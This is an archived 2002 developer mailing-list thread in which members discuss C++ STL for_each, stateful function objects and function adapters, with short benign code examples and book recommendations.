smtp10.atl.mindspring.net with smtp (Exim 3.33 #1) id 16aMlp-0000rU-00 for dev@trilug.org; Mon, 11 Feb 2002 15:09:49 -0500 Content-Type: text/plain; charset="iso-8859-1" From: "M. Mueller (bhu5nji)" To: dev@trilug.org Subject: Re: [Dev] STL for_each underwhelms me Date: Mon, 11 Feb 2002 15:07:12 -0500 X-Mailer: KMail [version 1.3.1] References: <20020211181703.GA74634@rcfile.org> In-Reply-To: <20020211181703.GA74634@rcfile.org> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: > What specifically do you want for_each to do for you? I have a map of entries where the key is a transaction ID and the entries describe a socket connection and related query, timestamp, state, response, etc. For each entry, do a non-blocking read on stream socket, check to see that the request is fully formed and if so, change the state to re-form the query and forward. This is part of a proxy server. I tried : for_each(xmap.begin(), xmap,end(), clientRead); clientRead is a member of proxy server class object. Heeding the compiler (gcc 3.0) error I changed to: or_each(xmap.begin(), xmap,end(), &classname::clientRead); Still get "out of scope" error. for_each likes functions, not methods, as far as I can tell. I assume the compiler needs to be "tricked" into thinking the method is a function. If that analysis is correct, then I have to wonder about writing "tricky" code. > > This page is a good synopsis of for_each which shows a stateful > functor. > http://www.sgi.com/tech/stl/for_each.html This example seems like it uses operator overloading to make for_each do something more complicated that it would otherwise be capable of. This does not seem like a use of operator overloading "to allow a programmer to provide a more conventional and convenient notation for manipulating class objects". (Quote from 7.1 C++ by Stroustrup.) The example seems to be a template. So now it has the advantage of being generic. On the other hand, the number of test cases needed has just gone up dramatically. -------------------------------------------------------------------------- template struct print : public unary_function { print(ostream& out) : os(out), count(0) {} void operator() (T x) { os << x << ' '; ++count; } ostream& os; int count; }; int main() { int A[] = {1, 4, 2, 8, 5, 7}; const int N = sizeof(A) / sizeof(int); print P = for_each(A, A + N, print(cout)); // I find "print" and "print(cout)" difficult to read - I have no // familiarity with "Z" and "Z(func)" being meaningful is other contexts. // When the '+' is overloaded for strings, I find string1 + string2 easy to // understand. cout << endl << P.count << " objects printed." << endl; } --------------------------------------------------------------------------- An alternative that seems quite a bit easier to understand. int main() { int A[] = {1, 4, 2, 8, 5, 7}; const int N = sizeof(A) / sizeof(int); int count=0; for (int i=0; i < N; i++) { cout << A[i] << ' '; count++; } cout << endl << count << " objects printed" << endl; } I can't help feeling that the operator overloading used with for_each is a sophisticated way to get more stuff into a unary function. I have no problem with for_each as long as simple unary functions are used. Introducing operator overloading to squeeze more functionality into the limits of the unary function results in complicated code. Maybe the complicated code is more versatile, but that means there are more test cases to perform. Operator overloading with for_each also yields terse code, which is esthetically pleasing. The esthetics are lost on myself after I've gazed at the well-crafted code for an hour and I am still not sure of what it does. I'm going to keep studying this operator overloading subject. I havn't used it much. Mike M. From lovelace@wayfarer.org Mon Feb 11 15:14:44 2002 Received: from maddux.wayfarer.org (rdu25-14-014.nc.rr.com [24.25.14.14]) by fatalpha.trilug.org (8.9.3/8.9.3) with SMTP id PAA06804 for ; Mon, 11 Feb 2002 15:14:44 -0500 Received: (qmail 19718 invoked by uid 401); 11 Feb 2002 20:16:44 -0000 Received: from localhost (HELO kendrick.house.wayfarer.org) (lovelace@127.0.0.1) by localhost with SMTP; 11 Feb 2002 20:16:44 -0000 Subject: Re: [Dev] STL for_each underwhelms me From: Tanner Lovelace To: dev@trilug.org In-Reply-To: References: Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-fvvB9qBifs/mBVI3DJ9h" X-Mailer: Evolution/1.0.21mdk Date: 11 Feb 2002 15:15:51 -0500 Message-Id: <1013458551.16517.24.camel@kendrick> Mime-Version: 1.0 Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: --=-fvvB9qBifs/mBVI3DJ9h Content-Type: text/plain Content-Transfer-Encoding: quoted-printable On Mon, 2002-02-11 at 13:13, M. Mueller (bhu5nji) wrote: > (darn laptop and fat fingers...) >=20 > At first I though the STL "for_each" algorithm was going to be handy. Th= en I=20 > tried using it. =20 >=20 > I know very well what a "unary function" is and how they are different fr= om=20 > "binary functions" and "unary methods". I searched the web for advice on= how=20 > to get around the limitations of for_each only operating in unary functio= ns. =20 > The workarounds were studies in obuscation. Or maybe I should look deep= er? =20 > Am I missing the finer points? Here's how I understand things right now. >=20 > Why is the following code structure in need of replacement by such a limi= ted=20 > algorithm as for_each? >=20 > The mortal way: >=20 > map xmap; >=20 > // load map... >=20 > map::iterator i; > for(i =3D xmap.begin(), i !=3D xmap.end(), i++) > { > // do any darn thing you want to > // in plain old un-elegant but readable > // code > } >=20 > The for_each way: >=20 > Either: > for_each(xmap.begin(), xmap.end(), unary_function_only); > Or: > for_each(xmap.begin(), xmap.end(), class_with_overloaded_operators); > Or: > for_each(xmap.begin(), xmap.end(),=20 > magically_transformed_things_that_appear_to_be_UF); >=20 > The first way is OK, but it's limited to only unary functions. I tried t= o=20 > use a unary method and kept getting "out of scope" errors during compile.= =20 > The tranformation techniques I saw on the web were so obtuse that they=20 > probably would not have survived code reviews in places I have worked in = the=20 > past. >=20 > Someone, please turn on the light for me. Perhaps it would help if you would explain a bit more about what you're trying to do, and why a unary function won't work for you? Without knowing that, however, you probably want to look around for documentation about a "function object" which is an object designed to look like a function but that can hold state.=20 Say, for example, you want to take a vector of ints and calculate it's mean value. With a plain old for, you could loop through each element of the vector and calculate the sum and finally=20 divide by the number of elements. With for_each, however, you could do it like this: // function object to process the mean value class MeanValue { private: long num; // number of elements long sum; // sum of all elements public: // Constructor MeanValue() : num(0), sum(0) {} // function call void operator() (int elem) { ++num; // increment count sum +=3D elem; } // return mean value double value () { return static_cast(sum) / static_cast(num); } }; int main(void) { vector coll; // insert elements from 1 to 8 for (int i =3D 1; i <=3D8; ++i) { coll.push_back(i); } // Process and print mean value MeanValue mv =3D for_each(col.begin(), coll.end(), MeanValue()); =20 cout << "mean value: " << mv.value() << endl; return 0; } Note that this also shows another feature of for_each, it=20 returns the (modified) function object passed to it. As far as I know, this is the only STL algorithm that does that. I believe this is an example of what you called "class_with_overloaded_operators". Your "magically_transformed_things_that_appear_to_be_UF" are better know as "function adapters". basically, they're functions that you can pass a second (or first) argument to them and they'll handle the fact that for_each only expects a unary function. So, if you wanted to multiply each element by a number, you'd need a function adapter that took the number you wanted to multiply by and provided a function for for_each to call. Also, note that if you're trying to modify a bunch of elements, transform is often a better function to use. The difference between tranform and for_each is that for_each expects a unary function that returns void, so if you want to modify the elements, you need to pass them by reference. Transform, on the other hand, takes a unary operation that returns=20 a value. This value replaces the previous value in that position of the container. So, if you wanted to square a bunch of elements, you could do either this: void square(int &elem) { elem =3D elem * elem; } for_each(coll.begin(), coll.end() square); or this: int square(int elem) { return elem * elem; } transform(coll.begin(), coll.end(), // source range coll.begin(), // destination range square); // operation. But, once again, because C++ offers lots of ways to do things, it would help if we knew just what it was you're doing. :-) Tanner --=20 Tanner Lovelace | lovelace@wayfarer.org | http://wtl.wayfarer.org/ --*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*-- GPG Fingerprint =3D A66C 8660 924F 5F8C 71DA BDD0 CE09 4F8E DE76 39D4 GPG Key can be found at http://wtl.wayfarer.org/lovelace.gpg.asc --*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*-- Those who are willing to sacrifice essential liberties for a little=20 order, will lose both and deserve neither. -- Benjamin Franklin=20 History teaches that grave threats to liberty often come in times of urgency, when constitutional rights seem too extravagant to=20 endure. -- Justice Thurgood Marshall, 1989=20 --=-fvvB9qBifs/mBVI3DJ9h Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQA8aCZ2zglPjt52OdQRAs1tAJ90MVaDU4pz1UPmXz20RjC5AYA92ACgky36 0j3CoIMF6CMEDuUBIcCwu2U= =JG5E -----END PGP SIGNATURE----- --=-fvvB9qBifs/mBVI3DJ9h-- From lovelace@wayfarer.org Mon Feb 11 15:34:13 2002 Received: from maddux.wayfarer.org (rdu25-14-014.nc.rr.com [24.25.14.14]) by fatalpha.trilug.org (8.9.3/8.9.3) with SMTP id PAA06922 for ; Mon, 11 Feb 2002 15:34:12 -0500 Received: (qmail 20014 invoked by uid 401); 11 Feb 2002 20:36:14 -0000 Received: from localhost (HELO kendrick.house.wayfarer.org) (lovelace@127.0.0.1) by localhost with SMTP; 11 Feb 2002 20:36:14 -0000 Subject: Re: [Dev] STL for_each underwhelms me From: Tanner Lovelace To: dev@trilug.org In-Reply-To: References: <20020211181703.GA74634@rcfile.org> Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-NNbX4oZ3cXNlugFLVnyZ" X-Mailer: Evolution/1.0.21mdk Date: 11 Feb 2002 15:35:20 -0500 Message-Id: <1013459720.16517.40.camel@kendrick> Mime-Version: 1.0 Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: --=-NNbX4oZ3cXNlugFLVnyZ Content-Type: text/plain Content-Transfer-Encoding: quoted-printable On Mon, 2002-02-11 at 15:07, M. Mueller (bhu5nji) wrote: >=20 > > What specifically do you want for_each to do for you? >=20 > I have a map of entries where the key is a transaction ID and the entries= =20 > describe a socket connection and related query, timestamp, state, respons= e,=20 > etc. For each entry, do a non-blocking read on stream socket, check to s= ee=20 > that the request is fully formed and if so, change the state to re-form t= he=20 > query and forward. This is part of a proxy server. >=20 > I tried : for_each(xmap.begin(), xmap,end(), clientRead); >=20 > clientRead is a member of proxy server class object. >=20 > Heeding the compiler (gcc 3.0) error I changed to:=20 > or_each(xmap.begin(), xmap,end(), &classname::clientRead); >=20 > Still get "out of scope" error. >=20 You're getting an 'out of scope' error probably because clientRead is not a static function. Basically, for_each needs a regular function, *or* a function object *or* a function adaptor. What you could do is write a function adaptor (sometimes called a functor, I believe) that you pass your proxy object to and it acts as a shim, transfering for_each's calls to the correct method. For example struct clientReadAdaptor { clientReadAdaptor(classtypename *classname) : myclass(classname) {} void operator() (xmaptypename *xmap) { myclass->clientRead(xmap); } private: classtypename *myclass; }; Then you could just do for_each(xmap.begin(), xmap.end(), clientReadAdaptor(&classname)); > for_each likes functions, not methods, as far as I can tell. I assume th= e=20 > compiler needs to be "tricked" into thinking the method is a function. Not tricked. Told how to call it. It can't call the method because it doesn't know anything about the classes vtable (because it doesn't know anything about the class). =20 > If that analysis is correct, then I have to wonder about writing "tricky"= =20 > code. >=20 You just have to have the right mindset. Oh, and understand about the difference between calling a function and calling a method. > This example seems like it uses operator overloading to make for_each do=20 > something more complicated that it would otherwise be capable of. This d= oes=20 > not seem like a use of operator overloading "to allow a programmer to pro= vide=20 > a more conventional and convenient notation for manipulating class object= s". =20 > (Quote from 7.1 C++ by Stroustrup.) >=20 > The example seems to be a template. So now it has the advantage of being= =20 > generic. On the other hand, the number of test cases needed has just gon= e up=20 > dramatically. =20 >=20 > -------------------------------------------------------------------------= - >=20 > template struct print : public unary_function > { > print(ostream& out) : os(out), count(0) {} > void operator() (T x) { os << x << ' '; ++count; } > ostream& os; > int count; > }; >=20 > int main() > { > int A[] =3D {1, 4, 2, 8, 5, 7}; > const int N =3D sizeof(A) / sizeof(int); >=20 > print P =3D for_each(A, A + N, print(cout)); >=20 > // I find "print" and "print(cout)" difficult to read - I have = no > // familiarity with "Z" and "Z(func)" being meaningful is other contexts.= =20 > // When the '+' is overloaded for strings, I find string1 + string2 easy = to=20 > // understand. >=20 > cout << endl << P.count << " objects printed." << endl; > } >=20 > -------------------------------------------------------------------------= -- > An alternative that seems quite a bit easier to understand. >=20 > int main() > { > int A[] =3D {1, 4, 2, 8, 5, 7}; > const int N =3D sizeof(A) / sizeof(int); >=20 > int count=3D0; > for (int i=3D0; i < N; i++)=20 > { > cout << A[i] << ' '; > count++; > } > cout << endl << count << " objects printed" << endl; > } >=20 Easier to understand, maybe, but what if you have to do the same thing over 100 times? 1000 times? What if you don't do it the same way each time? How about the nubmer of test cases then? =20 > I can't help feeling that the operator overloading used with for_each is = a=20 > sophisticated way to get more stuff into a unary function. I have no pro= blem=20 > with for_each as long as simple unary functions are used. Introducing=20 > operator overloading to squeeze more functionality into the limits of the= =20 > unary function results in complicated code. Maybe the complicated code i= s=20 > more versatile, but that means there are more test cases to perform. =20 > Operator overloading with for_each also yields terse code, which is=20 > esthetically pleasing. The esthetics are lost on myself after I've gaze= d at=20 > the well-crafted code for an hour and I am still not sure of what it does= . >=20 It does get easier to understand after you adjust how you think about the code. And really, it's just another way of doing the same thing. Don't think of it as "sophisticated", just think of it as something different. C++ is inherently different than C and without realizing this, you can't really make use of the power C++ provides you. > I'm going to keep studying this operator overloading subject. I havn't = used=20 > it much. >=20 Perhaps it would help instead of calling it "operator overloading" to call it a function adapter. What do you do if you want to plug a 3 prog electrical plug in a 2 prog socket? You get an adapter. That's all these object are doing. The analogy is not perfect, however, because going from 3 prong to 2 prong you lose something. By using function adapters, I personally believe you gain a lot over a simple unary function. Tanner --=20 Tanner Lovelace | lovelace@wayfarer.org | http://wtl.wayfarer.org/ --*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*-- GPG Fingerprint =3D A66C 8660 924F 5F8C 71DA BDD0 CE09 4F8E DE76 39D4 GPG Key can be found at http://wtl.wayfarer.org/lovelace.gpg.asc --*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*-- Those who are willing to sacrifice essential liberties for a little=20 order, will lose both and deserve neither. -- Benjamin Franklin=20 History teaches that grave threats to liberty often come in times of urgency, when constitutional rights seem too extravagant to=20 endure. -- Justice Thurgood Marshall, 1989=20 --=-NNbX4oZ3cXNlugFLVnyZ Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQA8aCsHzglPjt52OdQRAnt7AKDeGOgHhTLRH/Btrd+ueJvxfNKWowCgtWSB FpZPHXntMypJKo9Zpxwro34= =luEi -----END PGP SIGNATURE----- --=-NNbX4oZ3cXNlugFLVnyZ-- From bhu5nji@yahoo.com Mon Feb 11 16:07:33 2002 Received: from blount.mail.mindspring.net (blount.mail.mindspring.net [207.69.200.226]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id QAA07123 for ; Mon, 11 Feb 2002 16:07:32 -0500 Received: from user-2ivf2tj.dsl.mindspring.com ([165.247.139.179] helo=there) by blount.mail.mindspring.net with smtp (Exim 3.33 #1) id 16aNhj-0002wF-00 for dev@trilug.org; Mon, 11 Feb 2002 16:09:39 -0500 Content-Type: text/plain; charset="iso-8859-1" From: "M. Mueller (bhu5nji)" To: dev@trilug.org Subject: Re: [Dev] STL for_each underwhelms me Date: Mon, 11 Feb 2002 16:07:02 -0500 X-Mailer: KMail [version 1.3.1] References: <1013458551.16517.24.camel@kendrick> In-Reply-To: <1013458551.16517.24.camel@kendrick> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: > > Perhaps it would help if you would explain a bit more about > what you're trying to do, and why a unary function won't work > for you? Without knowing that, however, you probably want to > look around for documentation about a "function object" which > is an object designed to look like a function but that can > hold state. Nice description. That's one light. The David Musser STL Tutorial only talks about functions, never about function objects that have state. So, now I can envision that the function object is "sent in" to the for_each algorithm. > > Say, for example, you want to take a vector of ints and calculate > it's mean value. With a plain old for, you could loop through > each element of the vector and calculate the sum and finally > divide by the number of elements. With for_each, however, you > could do it like this: > > // function object to process the mean value > class MeanValue { > private: > long num; // number of elements > long sum; // sum of all elements > public: > // Constructor > MeanValue() : num(0), sum(0) {} > > // function call > void operator() (int elem) { > ++num; // increment count > sum += elem; > } > > // return mean value > double value () { > return static_cast(sum) / static_cast(num); > } > }; > > int main(void) > { > vector coll; > > // insert elements from 1 to 8 > for (int i = 1; i <=8; ++i) { > coll.push_back(i); > } > > // Process and print mean value > MeanValue mv = for_each(col.begin(), coll.end(), MeanValue()); > > cout << "mean value: " << mv.value() << endl; > > return 0; > } > > Note that this also shows another feature of for_each, it > returns the (modified) function object passed to it. As far > as I know, this is the only STL algorithm that does that. > I believe this is an example of what you called > "class_with_overloaded_operators". > > Your "magically_transformed_things_that_appear_to_be_UF" are better > know as "function adapters". basically, they're functions that > you can pass a second (or first) argument to them and they'll > handle the fact that for_each only expects a unary function. > So, if you wanted to multiply each element by a number, you'd > need a function adapter that took the number you wanted to > multiply by and provided a function for for_each to call. This is where I cannot clearly see the benefits of using for_each. I am havine the hardest time learning why I would choose to overload operators to create a way to squeeze in two parms where the design called for one. I keep hearing the cries of those following my code, "what the heck is going on here?". Why not choose (what I think is) the simpler way - write a function or method and call it in a for loop? Perhaps this is just a more explicit way. It is not obvious to me that using the for_each will produce better performance that using the for-loop. I am saying that STL does not create simpler code. In general, I am very pleased with STL. I practically think in sets and maps these days. I'll never write another linked-list. I suspect one of my problems with for_each is a poor understanding of operator overloading, especially for the "function call" > > Also, note that if you're trying to modify a bunch of elements, > transform is often a better function to use. The difference > between tranform and for_each is that for_each expects a > unary function that returns void, so if you want to modify > the elements, you need to pass them by reference. Transform, > on the other hand, takes a unary operation that returns > a value. This value replaces the previous value in that > position of the container. So, if you wanted to square a > bunch of elements, you could do either this: > > void square(int &elem) { elem = elem * elem; } > for_each(coll.begin(), coll.end() square); > > or this: > > int square(int elem) { return elem * elem; } > transform(coll.begin(), coll.end(), // source range > coll.begin(), // destination range > square); // operation. The code here is quite readable. > > But, once again, because C++ offers lots of ways to do things, > it would help if we knew just what it was you're doing. :-) See my reply to Brent Verner. > > Tanner From lovelace@wayfarer.org Mon Feb 11 16:46:17 2002 Received: from maddux.wayfarer.org (rdu25-14-014.nc.rr.com [24.25.14.14]) by fatalpha.trilug.org (8.9.3/8.9.3) with SMTP id QAA07439 for ; Mon, 11 Feb 2002 16:46:17 -0500 Received: (qmail 21151 invoked by uid 401); 11 Feb 2002 21:48:18 -0000 Received: from localhost (HELO kendrick.house.wayfarer.org) (lovelace@127.0.0.1) by localhost with SMTP; 11 Feb 2002 21:48:18 -0000 Subject: Re: [Dev] STL for_each underwhelms me From: Tanner Lovelace To: dev@trilug.org In-Reply-To: References: <1013458551.16517.24.camel@kendrick> Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-489kCt963Oi8Z+gNsVDs" X-Mailer: Evolution/1.0.21mdk Date: 11 Feb 2002 16:47:23 -0500 Message-Id: <1013464044.16205.51.camel@kendrick> Mime-Version: 1.0 Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: --=-489kCt963Oi8Z+gNsVDs Content-Type: text/plain Content-Transfer-Encoding: quoted-printable On Mon, 2002-02-11 at 16:07, M. Mueller (bhu5nji) wrote: > Nice description. That's one light. The David Musser STL Tutorial only=20 > talks about functions, never about function objects that have state. So,= now=20 > I can envision that the function object is "sent in" to the for_each=20 > algorithm. =20 Hmm... It doesn't talk about function object? What a major omission. I assume you already have an STL book, since you mention the Musser (& Sanni) one, but I'll just plug my=20 personal favorite.. :-) I looked at a lot of STL books (and granted, the 2nd edition of Musser et all wasn't out when I did, but..) and the one I liked the best,=20 for writing style, information, understanding and examples was, by far, Nicolai M Josuttis's *The C++ Standard Library, A Tutorial and Reference*. That's where I got the example I showed you. It talks a lot about function objects... > This is where I cannot clearly see the benefits of using for_each. I am=20 > havine the hardest time learning why I would choose to overload operators= to=20 > create a way to squeeze in two parms where the design called for one. I = keep=20 > hearing the cries of those following my code, "what the heck is going on=20 > here?". Why not choose (what I think is) the simpler way - write a funct= ion=20 > or method and call it in a for loop? Perhaps this is just a more explici= t=20 > way. It is not obvious to me that using the for_each will produce better= =20 > performance that using the for-loop. Well, here, the obvious answer is code reuse. I gave a generic function object that would calculate the mean value. If you compute the mean value in only one place then a for loop is probably ok. If you do it in more than one place, then abstracting the code out so that you only have to write it once makes more sense. > I am saying that STL does not create simpler code. In general, I am very= =20 > pleased with STL. I practically think in sets and maps these days. I'll= =20 > never write another linked-list. >=20 > I suspect one of my problems with for_each is a poor understanding of=20 > operator overloading, especially for the "function call" That might be. Try looking up functor. The Design Pattern book gives this reference for a use of the operator() in making a functor: James O. Coplien, *Advanced C++ Programming Styles and Idioms*. =20 Addison-Wesley, Reading, MA, 1992. I'm sure there are others... =20 Tanner --=20 Tanner Lovelace | lovelace@wayfarer.org | http://wtl.wayfarer.org/ --*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*-- GPG Fingerprint =3D A66C 8660 924F 5F8C 71DA BDD0 CE09 4F8E DE76 39D4 GPG Key can be found at http://wtl.wayfarer.org/lovelace.gpg.asc --*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*-- Those who are willing to sacrifice essential liberties for a little=20 order, will lose both and deserve neither. -- Benjamin Franklin=20 History teaches that grave threats to liberty often come in times of urgency, when constitutional rights seem too extravagant to=20 endure. -- Justice Thurgood Marshall, 1989=20 --=-489kCt963Oi8Z+gNsVDs Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQA8aDvrzglPjt52OdQRAplWAJ45v1+/KNO/YWFuh4WT3B/il+tc9gCgmBQ7 Hm60sh9Y93NCu9bJfxRykuQ= =sLVB -----END PGP SIGNATURE----- --=-489kCt963Oi8Z+gNsVDs-- From bhu5nji@yahoo.com Mon Feb 11 16:54:31 2002 Received: from barry.mail.mindspring.net (barry.mail.mindspring.net [207.69.200.25]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id QAA07545 for ; Mon, 11 Feb 2002 16:54:31 -0500 Received: from user-2ivf2tj.dsl.mindspring.com ([165.247.139.179] helo=there) by barry.mail.mindspring.net with smtp (Exim 3.33 #1) id 16aORC-0005ie-00 for dev@trilug.org; Mon, 11 Feb 2002 16:56:38 -0500 Content-Type: text/plain; charset="iso-8859-1" From: "M. Mueller (bhu5nji)" To: dev@trilug.org Subject: Re: [Dev] STL for_each underwhelms me Date: Mon, 11 Feb 2002 16:53:57 -0500 X-Mailer: KMail [version 1.3.1] References: <1013459720.16517.40.camel@kendrick> In-Reply-To: <1013459720.16517.40.camel@kendrick> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Monday 11 February 2002 03:35 pm, you wrote: > On Mon, 2002-02-11 at 15:07, M. Mueller (bhu5nji) wrote: > > > What specifically do you want for_each to do for you? > > > > I have a map of entries where the key is a transaction ID and the entries > > describe a socket connection and related query, timestamp, state, > > response, etc. For each entry, do a non-blocking read on stream socket, > > check to see that the request is fully formed and if so, change the state > > to re-form the query and forward. This is part of a proxy server. > > > > I tried : for_each(xmap.begin(), xmap,end(), clientRead); > > > > clientRead is a member of proxy server class object. > > > > Heeding the compiler (gcc 3.0) error I changed to: > > or_each(xmap.begin(), xmap,end(), &classname::clientRead); > > > > Still get "out of scope" error. > > You're getting an 'out of scope' error probably because clientRead > is not a static function. Basically, for_each needs a regular function, > *or* a function object *or* a function adaptor. What you could do > is write a function adaptor (sometimes called a functor, I believe) So that's what a functor is. Function adapter is a better name - by far. > that you pass your proxy object to and it acts as a shim, transfering > for_each's calls to the correct method. For example Thank you. Shim is good. > > struct clientReadAdaptor { > > clientReadAdaptor(classtypename *classname) : myclass(classname) {} > > void operator() (xmaptypename *xmap) { myclass->clientRead(xmap); } > > private: > classtypename *myclass; > }; > > Then you could just do > > for_each(xmap.begin(), xmap.end(), clientReadAdaptor(&classname)); > > > for_each likes functions, not methods, as far as I can tell. I assume > > the compiler needs to be "tricked" into thinking the method is a > > function. > > Not tricked. Told how to call it. It can't call the method because it > doesn't know anything about the classes vtable (because it doesn't > know anything about the class). Function is an address and method is an offset from the base of the table? > > > If that analysis is correct, then I have to wonder about writing "tricky" > > code. > > You just have to have the right mindset. Oh, and understand about > the difference between calling a function and calling a method. > > > This example seems like it uses operator overloading to make for_each do > > something more complicated that it would otherwise be capable of. This > > does not seem like a use of operator overloading "to allow a programmer > > to provide a more conventional and convenient notation for manipulating > > class objects". (Quote from 7.1 C++ by Stroustrup.) > > > > The example seems to be a template. So now it has the advantage of being > > generic. On the other hand, the number of test cases needed has just > > gone up dramatically. > > > > ------------------------------------------------------------------------- > >- > > > > template struct print : public unary_function > > { > > print(ostream& out) : os(out), count(0) {} > > void operator() (T x) { os << x << ' '; ++count; } > > ostream& os; > > int count; > > }; > > > > int main() > > { > > int A[] = {1, 4, 2, 8, 5, 7}; > > const int N = sizeof(A) / sizeof(int); > > > > print P = for_each(A, A + N, print(cout)); > > > > // I find "print" and "print(cout)" difficult to read - I have > > no // familiarity with "Z" and "Z(func)" being meaningful is other > > contexts. // When the '+' is overloaded for strings, I find string1 + > > string2 easy to // understand. > > > > cout << endl << P.count << " objects printed." << endl; > > } > > > > ------------------------------------------------------------------------- > >-- An alternative that seems quite a bit easier to understand. > > > > int main() > > { > > int A[] = {1, 4, 2, 8, 5, 7}; > > const int N = sizeof(A) / sizeof(int); > > > > int count=0; > > for (int i=0; i < N; i++) > > { > > cout << A[i] << ' '; > > count++; > > } > > cout << endl << count << " objects printed" << endl; > > } > > Easier to understand, maybe, but what if you have to do the same thing > over 100 times? 1000 times? What if you don't do it the same way > each time? How about the nubmer of test cases then? > > > I can't help feeling that the operator overloading used with for_each is > > a sophisticated way to get more stuff into a unary function. I have no > > problem with for_each as long as simple unary functions are used. > > Introducing operator overloading to squeeze more functionality into the > > limits of the unary function results in complicated code. Maybe the > > complicated code is more versatile, but that means there are more test > > cases to perform. Operator overloading with for_each also yields terse > > code, which is esthetically pleasing. The esthetics are lost on myself > > after I've gazed at the well-crafted code for an hour and I am still not > > sure of what it does. > > It does get easier to understand after you adjust how you think about > the code. And really, it's just another way of doing the same thing. > Don't think of it as "sophisticated", just think of it as something > different. C++ is inherently different than C and without realizing > this, you can't really make use of the power C++ provides you. I am truly amazed how the containers in STL have so rapidly changed that way I approach design. I've OO-ing things in my product (www.signalnetware.com) since last summer and I've had some handsome payoffs for the work. I can sense their is more value to be had. I really got frustrated with the for_each algorithm, though. > > > I'm going to keep studying this operator overloading subject. I havn't > > used it much. > > Perhaps it would help instead of calling it "operator overloading" > to call it a function adapter. "Function adapter" helps quite a bit. What do you do if you want to plug > a 3 prog electrical plug in a 2 prog socket? You get an adapter. > That's all these object are doing. The analogy is not perfect, > however, because going from 3 prong to 2 prong you lose something. > By using function adapters, I personally believe you gain a lot > over a simple unary function. > > Tanner From lovelace@wayfarer.org Mon Feb 11 17:21:53 2002 Received: from maddux.wayfarer.org (rdu25-14-014.nc.rr.com [24.25.14.14]) by fatalpha.trilug.org (8.9.3/8.9.3) with SMTP id RAA07897 for ; Mon, 11 Feb 2002 17:21:53 -0500 Received: (qmail 21530 invoked by uid 401); 11 Feb 2002 22:23:54 -0000 Received: from localhost (HELO kendrick.house.wayfarer.org) (lovelace@127.0.0.1) by localhost with SMTP; 11 Feb 2002 22:23:54 -0000 Subject: Re: [Dev] STL for_each underwhelms me From: Tanner Lovelace To: dev@trilug.org In-Reply-To: References: <1013459720.16517.40.camel@kendrick> Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-AgSLD0tK93kUO12lB6Ly" X-Mailer: Evolution/1.0.21mdk Date: 11 Feb 2002 17:23:00 -0500 Message-Id: <1013466180.16205.63.camel@kendrick> Mime-Version: 1.0 Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: --=-AgSLD0tK93kUO12lB6Ly Content-Type: text/plain Content-Transfer-Encoding: quoted-printable On Mon, 2002-02-11 at 16:53, M. Mueller (bhu5nji) wrote: > So that's what a functor is. Function adapter is a better name - by far. I agree. I think the name functor comes from something in higher mathematics, so if you're familiar with that it works ok. For those of us who are mere mortals, however... :-) =20 > Function is an address and method is an offset from the base of the table= ? Exactly! To call a method you actually need two addresses: that of the class, and that of the method inside the class (i.e. table base offset). 